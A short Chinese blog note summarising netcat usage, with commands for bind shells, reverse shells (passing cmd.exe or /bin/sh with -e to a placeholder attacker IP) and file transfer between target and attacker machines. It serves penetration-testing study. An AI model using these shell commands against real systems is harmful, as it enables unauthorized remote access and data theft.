Netcat基本用法总结
作者:myluzh 分类: NOTES 长度:1231 阅读:1352
0x01基础使用
靶机创建一个服务端:
nc -nvlp [端口]
攻击机开启监听:
nc [服务端IP] [端口]
0x02获取shell
正向shell
靶机创建一个服务端:
#Windows
nc -nvlp [端口] -e cmd.exe
#Linux
nc -nvlp [端口] -e /bin/sh
攻击机开启监听:
nc [服务端IP] [端口]
反向shell
靶机创建一个服务端:
#Windows
nc [攻击机IP] [端口] -e cmd.exe
#Linux
nc [攻击机IP] [端口] -e /bin/sh
攻击机开启监听:
nc -nvlp [端口]
有些时候靶机上并没有nc,所以需要php反弹shell来实现,关于php反弹shell脚本
0x03文件传输
靶机创建一个服务端:
nc -nvlp [端口] >1.txt
攻击机接受文件:
nc [服务端IP] [端口] <1.txt
参考资料:
Netcat下载地址:https://eternallybored.org/misc/netcat/
“瑞士军刀”Netcat使用方法总结
blibili-Netcat使用视频